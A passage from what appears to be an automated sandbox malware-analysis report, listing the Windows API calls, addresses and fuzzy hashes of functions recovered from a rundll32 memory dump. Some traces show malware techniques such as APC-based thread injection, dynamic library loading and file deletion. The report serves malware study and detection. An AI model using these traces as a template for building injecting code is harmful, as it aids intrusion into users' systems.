                          • InterlockedExchange.KERNEL32(04CDA128,00000000), ref: 04CC3E63
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC3EA4
                            • Part of subcall function 04CCE3CD: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 04CCE3F6
                            • Part of subcall function 04CCE3CD: memcpy.NTDLL(00000000,?,?), ref: 04CCE409
                            • Part of subcall function 04CCE3CD: RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CCE41A
                            • Part of subcall function 04CCE3CD: RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CCE42F
                            • Part of subcall function 04CCE3CD: HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 04CCE467
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Heap$AllocateCriticalFreeSectionmemcpy$EnterExchangeInterlockedLeavewsprintf
                          • String ID:
                          • API String ID: 4198405257-0
                          • Opcode ID: 3992951870ee4cc9318a0d63fba151263148f5c58a5cebb758fc8cebf852390a
                          • Instruction ID: 5a22e79d11e512375d4a67c1e633788e3dffc6e758185e55a5da710c1815741a
                          • Opcode Fuzzy Hash: 3992951870ee4cc9318a0d63fba151263148f5c58a5cebb758fc8cebf852390a
                          • Instruction Fuzzy Hash: D8615975A01249EFCF10DFA5EC84EEE7BBAEB48304F04812AE905D7250D739EA54DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC8CF3 Relevance: 15.1, APIs: 10, Instructions: 110librarymemoryCOMMON
                          Download Yara Rule
                          APIs
                          • LoadLibraryA.KERNEL32(?,?,00000000,00000000,?,00000001,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC8D13
                          • TlsAlloc.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D1D
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D46
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D54
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D62
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D70
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D7E
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8D8C
                          • ___HrLoadAllImportsForDll@4.DELAYIMP ref: 04CC8DB6
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,0000000C,00000000,?,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC8E37
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Load$Library$AllocDll@4FreeHeapImports
                          • String ID:
                          • API String ID: 1792504554-0
                          • Opcode ID: e24c61d4ad206437649d8f4497c435f3875ebb4d2e0415a0678dec4e61e7e662
                          • Instruction ID: a8316bcfc313d4ee401425e126c1261bd2a884a96f4dac488b6698e528ac7f80
                          • Opcode Fuzzy Hash: e24c61d4ad206437649d8f4497c435f3875ebb4d2e0415a0678dec4e61e7e662
                          • Instruction Fuzzy Hash: 944182BD901219EFDB00EFA8E8C8E9A77FDEB0C205B15446AE605DB140D339FD058B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE8BB Relevance: 15.1, APIs: 10, Instructions: 98filememorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB2F91: memset.NTDLL ref: 04CB2FB3
                            • Part of subcall function 04CB2F91: CloseHandle.KERNEL32(?,?,?,?,00000000), ref: 04CB305D
                          • MapViewOfFile.KERNEL32(?,00000004,00000000,00000000,?,?,?,?), ref: 04CCE903
                          • CloseHandle.KERNEL32(?), ref: 04CCE90F
                          • PathFindFileNameW.SHLWAPI(?), ref: 04CCE91F
                          • lstrlenW.KERNEL32(00000000), ref: 04CCE928
                          • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CCE939
                          • wcstombs.NTDLL ref: 04CCE948
                          • lstrlen.KERNEL32(?), ref: 04CCE955
                          • UnmapViewOfFile.KERNEL32(?,?,?,00000000,00000001,?), ref: 04CCE994
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCE9A7
                          • DeleteFileW.KERNEL32(?), ref: 04CCE9B4
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$CloseHandleHeapViewlstrlen$AllocateDeleteFindFreeNamePathUnmapmemsetwcstombs
                          • String ID:
                          • API String ID: 2256351002-0
                          • Opcode ID: ba6ea58f788262ead2d9cd2eeff340948386650b164297e01862272d5414b473
                          • Instruction ID: 52d56c66e403d07d200f24d3cc90732f3907a23e14defebad126ae07b408faf2
                          • Opcode Fuzzy Hash: ba6ea58f788262ead2d9cd2eeff340948386650b164297e01862272d5414b473
                          • Instruction Fuzzy Hash: 04314B39901208BFDB21AFA5DD48EDF7F7AEF85315F004069F901A2150DB39AE15EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCB9E9 Relevance: 15.1, APIs: 10, Instructions: 78stringfilememoryCOMMON
                          Download Yara Rule
                          APIs
                          • GetTickCount.KERNEL32 ref: 04CCB9F9
                          • CreateFileW.KERNEL32(04CC0971,80000000,00000003,04CDA1E8,00000003,00000000,00000000,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA16
                          • GetLastError.KERNEL32(?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBABE
                            • Part of subcall function 04CD087A: lstrlen.KERNEL32(?,00000000,04CCBA3E,00000027,04CDA1E8,?,00000000,?,?,04CCBA3E,?,00000001,?,04CC0971,00000000,?), ref: 04CD08B0
                            • Part of subcall function 04CD087A: lstrcpy.KERNEL32(00000000,00000000), ref: 04CD08D4
                            • Part of subcall function 04CD087A: lstrcat.KERNEL32(00000000,00000000), ref: 04CD08DC
                          • GetFileSize.KERNEL32(04CC0971,00000000,?,00000001,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA49
                          • CreateFileMappingA.KERNEL32(04CC0971,04CDA1E8,00000002,00000000,00000000,04CC0971), ref: 04CCBA5D
                          • lstrlen.KERNEL32(04CC0971,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA79
                          • lstrcpy.KERNEL32(?,04CC0971), ref: 04CCBA89
                          • GetLastError.KERNEL32(?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA91
                          • HeapFree.KERNEL32(00000000,04CC0971,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBAA4
                          • CloseHandle.KERNEL32(04CC0971,?,00000001,?,04CC0971), ref: 04CCBAB6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$CreateErrorLastlstrcpylstrlen$CloseCountFreeHandleHeapMappingSizeTicklstrcat
                          • String ID:
                          • API String ID: 194907169-0
                          • Opcode ID: a1c56c2e8e4c1ab334ce5a51c8361be6eed4a7d7e91e908db6617a9cc0da763c
                          • Instruction ID: 28cd393ab528e503eb4dceb122aecdb13fa66674cec9173c1773ad0e39b700cc
                          • Opcode Fuzzy Hash: a1c56c2e8e4c1ab334ce5a51c8361be6eed4a7d7e91e908db6617a9cc0da763c
                          • Instruction Fuzzy Hash: E1215C78901208FFDB109FA4E889B9EBFB9FF04355F108429F545E2250E335AE449F90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBEE04 Relevance: 15.1, APIs: 10, Instructions: 68threadprocesslibraryCOMMON
                          Download Yara Rule
                          APIs
                          • CloseHandle.KERNEL32(?,00000000,?,00000000), ref: 04CBEE2A
                          • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 04CBEE36
                          • GetModuleHandleA.KERNEL32(?,060D978E,00000000,?,00000000), ref: 04CBEE56
                          • GetProcAddress.KERNEL32(00000000), ref: 04CBEE5D
                          • Thread32First.KERNEL32(?,0000001C), ref: 04CBEE6D
                          • OpenThread.KERNEL32(001F03FF,00000000,?), ref: 04CBEE88
                          • QueueUserAPC.KERNEL32(00000001,00000000,00000000), ref: 04CBEE99
                          • CloseHandle.KERNEL32(00000000), ref: 04CBEEA0
                          • Thread32Next.KERNEL32(?,0000001C), ref: 04CBEEA9
                          • CloseHandle.KERNEL32(?), ref: 04CBEEB5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Handle$Close$Thread32$AddressCreateFirstModuleNextOpenProcQueueSnapshotThreadToolhelp32User
                          • String ID:
                          • API String ID: 2341152533-0
                          • Opcode ID: c0a26757cad8d11714a8d99472f6b97be19483c0b58f79ea826c6386ad18c268
                          • Instruction ID: 7d32ef21b8dac79d217824c5b0c8bdbe084675020270f9c844e68c222f04762b
                          • Opcode Fuzzy Hash: c0a26757cad8d11714a8d99472f6b97be19483c0b58f79ea826c6386ad18c268
                          • Instruction Fuzzy Hash: 8C216D76900158FFDF01AFE4DC88DEE7BBAEB09745F04412AF601A6190D735AE45DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBDC41 Relevance: 15.1, APIs: 10, Instructions: 59sleepsynchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • SetEvent.KERNEL32(00000000,?,04CC507B), ref: 04CBDC56
                            • Part of subcall function 04CC5D52: InterlockedExchange.KERNEL32(?,000000FF), ref: 04CC5D59
                          • WaitForSingleObject.KERNEL32(?,000000FF,?,?,04CC507B), ref: 04CBDC76
                          • CloseHandle.KERNEL32(00000000,?,04CC507B), ref: 04CBDC7F
                          • CloseHandle.KERNEL32(00000000,?,?,04CC507B), ref: 04CBDC89
                          • RtlEnterCriticalSection.NTDLL(?), ref: 04CBDC91
                          • RtlLeaveCriticalSection.NTDLL(?), ref: 04CBDCA9
                          • Sleep.KERNEL32(000001F4), ref: 04CBDCB8
                          • CloseHandle.KERNEL32(00000000), ref: 04CBDCC5
                          • LocalFree.KERNEL32(?), ref: 04CBDCD0
                          • RtlDeleteCriticalSection.NTDLL(?), ref: 04CBDCDA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseCriticalHandleSection$DeleteEnterEventExchangeFreeInterlockedLeaveLocalObjectSingleSleepWait
                          • String ID:
                          • API String ID: 1408595562-0
                          • Opcode ID: cb9ea138a410384ec206eb55b7343ac5336ed09f0434fb5c4ebeee82ad5f4706
                          • Instruction ID: b0fdd849b267b0f2b1f29b75d527e7693d0bb54e3152daa694e3192bd2bbc12d
                          • Opcode Fuzzy Hash: cb9ea138a410384ec206eb55b7343ac5336ed09f0434fb5c4ebeee82ad5f4706
                          • Instruction Fuzzy Hash: D3119A7520072AEBCB22AF65DD48A9AB7BAFF04745B140818F18382450DB7AF940CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBDD7B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 125memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000001,00000000,00000000,00000000,04CB3DA2,00000000,00000001,?,?,?), ref: 04CBDD92
                          • lstrlen.KERNEL32(?), ref: 04CBDDA2
                          • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CBDDD6
                          • RtlReAllocateHeap.NTDLL(00000000,00000000,?,?), ref: 04CBDE01
                          • memcpy.NTDLL(00000000,?,?), ref: 04CBDE20
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBDE81
                          • memcpy.NTDLL(?,?,?,?,?,?,?,?), ref: 04CBDEA3
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Allocatelstrlenmemcpy$Free
                          • String ID: W
                          • API String ID: 3204852930-655174618
                          • Opcode ID: b5bb1fa1d4ac118896b6834ac4b944ceb1f089757f5c62a6d4c5c5994a551dd7
                          • Instruction ID: faad0b74095e57eb4fcafa838a48b8da9c7e02ea01fcacdae26c296b29a4e0c7
                          • Opcode Fuzzy Hash: b5bb1fa1d4ac118896b6834ac4b944ceb1f089757f5c62a6d4c5c5994a551dd7
                          • Instruction Fuzzy Hash: 57416A7290124AEFDF11CF94CC80AEE7BBAFF14344F144469E946A7210E735AA54DFA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBA107 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 107stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CBD429: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?,?,00000000), ref: 04CBD435
                            • Part of subcall function 04CBD429: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?), ref: 04CBD493
                            • Part of subcall function 04CBD429: lstrcpy.KERNEL32(00000000,00000000), ref: 04CBD4A3
                          • lstrlen.KERNEL32(00000008,?,?,00000000,00000004,00000000), ref: 04CBA153
                          • wsprintfA.USER32 ref: 04CBA181
                          • lstrlen.KERNEL32(00000000,20000000,?,00000000,00000001,00000000,00000000,00000008,00000030), ref: 04CBA1DF
                          • GetLastError.KERNEL32 ref: 04CBA1F6
                          • ResetEvent.KERNEL32(?), ref: 04CBA20A
                          • ResetEvent.KERNEL32(?), ref: 04CBA20F
                          • GetLastError.KERNEL32 ref: 04CBA227
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$ErrorEventLastReset$lstrcpymemcpywsprintf
                          • String ID: `
                          • API String ID: 2276693960-1850852036
                          • Opcode ID: 3b89e9582761810246177384b817e1502f768ed0a9b51f81154d725249539f5b
                          • Instruction ID: f8e726f573041a9abdafb49442941a6f4d08e1b0c08c23954aef45a68057673b
                          • Opcode Fuzzy Hash: 3b89e9582761810246177384b817e1502f768ed0a9b51f81154d725249539f5b
                          • Instruction Fuzzy Hash: 3D414D75500209EFDF11EFA5DD88BEE7BB9FF04314F104426E98592150E736EA14DBA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB3172 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89memorystringpipeCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(04CB43C6,00000000,?,?,?,?,04CB43C6,00000035,00000000,?,00000000), ref: 04CB31A2
                          • RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 04CB31B8
                          • memcpy.NTDLL(00000010,04CB43C6,00000000,?,?,04CB43C6,00000035,00000000), ref: 04CB31EE
                          • memcpy.NTDLL(00000010,00000000,00000035,?,?,04CB43C6,00000035), ref: 04CB3209
                          • CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000028,00000001), ref: 04CB3227
                          • GetLastError.KERNEL32(?,?,04CB43C6,00000035), ref: 04CB3231
                          • HeapFree.KERNEL32(00000000,00000000,?,?,04CB43C6,00000035), ref: 04CB3254
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heapmemcpy$AllocateCallErrorFreeLastNamedPipelstrlen
                          • String ID: (
                          • API String ID: 2237239663-3887548279
                          • Opcode ID: e28fe2985150ada08b705b1e8dc2b1b32040bf3b476907a3c9f13246a2b92160
                          • Instruction ID: 85493592c82167a659b03844ee524a6fb72dde426623585eafee1fe54e69514a
                          • Opcode Fuzzy Hash: e28fe2985150ada08b705b1e8dc2b1b32040bf3b476907a3c9f13246a2b92160
                          • Instruction Fuzzy Hash: C131CE3A901249FFDB20CFA4DC44AEB7BB9EB48310F044429FE8592211E734AE44DBA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC7736 Relevance: 13.7, APIs: 9, Instructions: 168memorythreadsleepCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL ref: 04CC7777
                          • memset.NTDLL ref: 04CC778B
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                            • Part of subcall function 04CD1ECA: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                            • Part of subcall function 04CD1ECA: RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          • GetCurrentThreadId.KERNEL32 ref: 04CC7818
                          • GetCurrentThread.KERNEL32 ref: 04CC782B
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CC78D2
                          • Sleep.KERNEL32(0000000A), ref: 04CC78DC
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CC7902
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC7930
                          • HeapFree.KERNEL32(00000000,00000018), ref: 04CC7943
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateCriticalCurrentFreeQuerySectionThreadValue$CloseEnterLeaveSleepmemset
                          • String ID:
                          • API String ID: 1146182784-0
                          • Opcode ID: 3cdf2dd19dfb8d094ad0ed74bcd9f496e4551048ecd4a3b6c84dc52f4461c29e
                          • Instruction ID: 460817413eab78108a1ed131c607a9d64d987a58da38f726d18babf2ef7c57c6
                          • Opcode Fuzzy Hash: 3cdf2dd19dfb8d094ad0ed74bcd9f496e4551048ecd4a3b6c84dc52f4461c29e
                          • Instruction Fuzzy Hash: E75139B9506342AFD710EF64D880A6ABBEAFB48344F004D2DF585D7210D735EE499F92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC2812 Relevance: 13.6, APIs: 9, Instructions: 130memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC70C3: RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CC70CB
                            • Part of subcall function 04CC70C3: RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CC70E0
                            • Part of subcall function 04CC70C3: InterlockedIncrement.KERNEL32(0000001C), ref: 04CC70F9
                          • RtlAllocateHeap.NTDLL(00000000,00000018,?), ref: 04CC284F
                          • memset.NTDLL ref: 04CC2860
                          • lstrcmpi.KERNEL32(?,?), ref: 04CC28A0
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04CC28CC
                          • memcpy.NTDLL(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,04CC8974), ref: 04CC28E0
                          • memset.NTDLL ref: 04CC28ED
                          • memcpy.NTDLL(-00000004,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 04CC2906
                          • memcpy.NTDLL(-00000005,?,00000007,-00000004,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 04CC2929
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,04CC8974), ref: 04CC2946
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heapmemcpy$AllocateCriticalSectionmemset$EnterFreeIncrementInterlockedLeavelstrcmpi
                          • String ID:
                          • API String ID: 694413484-0
                          • Opcode ID: ce26ada0aea3a6e5f2d26bf8f1aacd3c307ccdf8c89d93c094bee9afb5e98113
                          • Instruction ID: 44997b5875dc94458b4f2a8952391bb351825a333895c76af3111fb7516cc913
                          • Opcode Fuzzy Hash: ce26ada0aea3a6e5f2d26bf8f1aacd3c307ccdf8c89d93c094bee9afb5e98113
                          • Instruction Fuzzy Hash: 0C419D76E00219FFEB109FA4DC84B9DBBBAEB08714F144169E505A7250DB39BE44DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC9B5 Relevance: 13.6, APIs: 9, Instructions: 110stringmemoryCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000022,00000000,00000000,00000000,?,?), ref: 04CCC9CC
                          • lstrlen.KERNEL32(?), ref: 04CCC9D4
                          • lstrlen.KERNEL32(?), ref: 04CCCA3F
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CCCA6A
                          • memcpy.NTDLL(00000000,00000002,?), ref: 04CCCA7B
                          • memcpy.NTDLL(00000000,?,?), ref: 04CCCA91
                          • memcpy.NTDLL(00000000,?,?,00000000,?,?), ref: 04CCCAA3
                          • memcpy.NTDLL(00000000,04CD53E8,00000002,00000000,?,?,00000000,?,?), ref: 04CCCAB6
                          • memcpy.NTDLL(00000000,?,00000002), ref: 04CCCACB
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memcpy$lstrlen$AllocateHeap
                          • String ID:
                          • API String ID: 3386453358-0
                          • Opcode ID: 2131a7f3cc5bf7ac140201317be5402b3da8862c6fad72f57b8e24be620137a3
                          • Instruction ID: b152a3cc5bc89ff41f13f06679e4b07221898fe9e524ac4371dbd7a7ec132f57
                          • Opcode Fuzzy Hash: 2131a7f3cc5bf7ac140201317be5402b3da8862c6fad72f57b8e24be620137a3
                          • Instruction Fuzzy Hash: 23413E76D00219FBCF01DFA8CC84A9EBBB9EF48314F14416AE919A7201E771FA50DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB605B Relevance: 13.6, APIs: 9, Instructions: 109memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC70C3: RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CC70CB
                            • Part of subcall function 04CC70C3: RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CC70E0
                            • Part of subcall function 04CC70C3: InterlockedIncrement.KERNEL32(0000001C), ref: 04CC70F9
                          • RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 04CB60AC
                          • lstrlen.KERNEL32(00000008,?,?,?,04CCF140,00000000,00000000,-00000008), ref: 04CB60BB
                          • RtlAllocateHeap.NTDLL(00000000,-00000021), ref: 04CB60CD
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,04CCF140,00000000,00000000,-00000008), ref: 04CB60DD
                          • memcpy.NTDLL(00000000,-00000008,00000000,?,?,?,04CCF140,00000000,00000000,-00000008), ref: 04CB60EF
                          • lstrcpy.KERNEL32(00000020), ref: 04CB6121
                          • RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CB612D
                          • RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CB6185
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSection$Heap$AllocateEnterLeave$FreeIncrementInterlockedlstrcpylstrlenmemcpy
                          • String ID:
                          • API String ID: 3746371830-0
                          • Opcode ID: 6b43c4c737607523ce721000c1f085545deae595336ef2d418effde21ed03a25
                          • Instruction ID: c9a7d842f5aa92979e10111d3b67d23438750422b1306bfac451a2601c8d4692
                          • Opcode Fuzzy Hash: 6b43c4c737607523ce721000c1f085545deae595336ef2d418effde21ed03a25
                          • Instruction Fuzzy Hash: E5417779A01705EFDB218F58D844B9ABBFAFF08314F108419E88A93241D779FA54DBD1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCFBF1 Relevance: 13.6, APIs: 9, Instructions: 105memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC5119: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CC514B
                            • Part of subcall function 04CC5119: HeapFree.KERNEL32(00000000,00000000,?,?,04CCFC0D,?,00000022,00000000,00000000,00000000,?,?), ref: 04CC5170
                            • Part of subcall function 04CC79A0: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,04CCFC2E,?,?,?,?,?,00000022,00000000,00000000), ref: 04CC79DC
                            • Part of subcall function 04CC79A0: HeapFree.KERNEL32(00000000,00000000,00000000,00000001,?,04CCFC2E,?,?,?,?,?,00000022,00000000,00000000,00000000,?), ref: 04CC7A2F
                          • lstrlen.KERNEL32(00000000,?,0000001D,?,0000001C,?,?,?,?,?,00000022,00000000,00000000,00000000,?,?), ref: 04CCFC63
                          • lstrlen.KERNEL32(?,?,0000001D,?,0000001C,?,?,?,?,?,00000022,00000000,00000000,00000000,?,?), ref: 04CCFC6B
                          • lstrlen.KERNEL32(?), ref: 04CCFC75
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CCFC8A
                          • wsprintfA.USER32 ref: 04CCFCC6
                          • HeapFree.KERNEL32(00000000,00000000,0000002D,00000000,00000000,00000000), ref: 04CCFCE5
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCFCFA
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCFD07
                          • HeapFree.KERNEL32(00000000,00000000,?,0000001C,?,?,?,?,?,00000022,00000000,00000000,00000000,?,?), ref: 04CCFD15
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$lstrlen$Allocate$wsprintf
                          • String ID:
                          • API String ID: 168057987-0
                          • Opcode ID: bcc0e3c610514f5cf973bef5dc9451d575706a311131d1da4e498ec04f83e804
                          • Instruction ID: e49e28ed6b8f476f50c41bf3e239dabd6148786681424ded28695edbb3646f62
                          • Opcode Fuzzy Hash: bcc0e3c610514f5cf973bef5dc9451d575706a311131d1da4e498ec04f83e804
                          • Instruction Fuzzy Hash: C831CD35601315BFDB11AF64DC44F5BBBAAEF48314F00082EFA84E2191D775AD18AB92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBF39B Relevance: 13.6, APIs: 9, Instructions: 89filesynchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000,?,?,00000000,00001000), ref: 04CBF3DB
                          • GetLastError.KERNEL32 ref: 04CBF3E5
                          • WaitForSingleObject.KERNEL32(000000C8), ref: 04CBF40A
                          • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 04CBF42D
                          • SetFilePointer.KERNEL32(00001000,00000000,00000000,00000002), ref: 04CBF455
                          • WriteFile.KERNEL32(00001000,00001388,?,?,00000000), ref: 04CBF46A
                          • SetEndOfFile.KERNEL32(00001000), ref: 04CBF477
                          • GetLastError.KERNEL32 ref: 04CBF483
                          • CloseHandle.KERNEL32(00001000), ref: 04CBF48F
                          Memory Dump Source
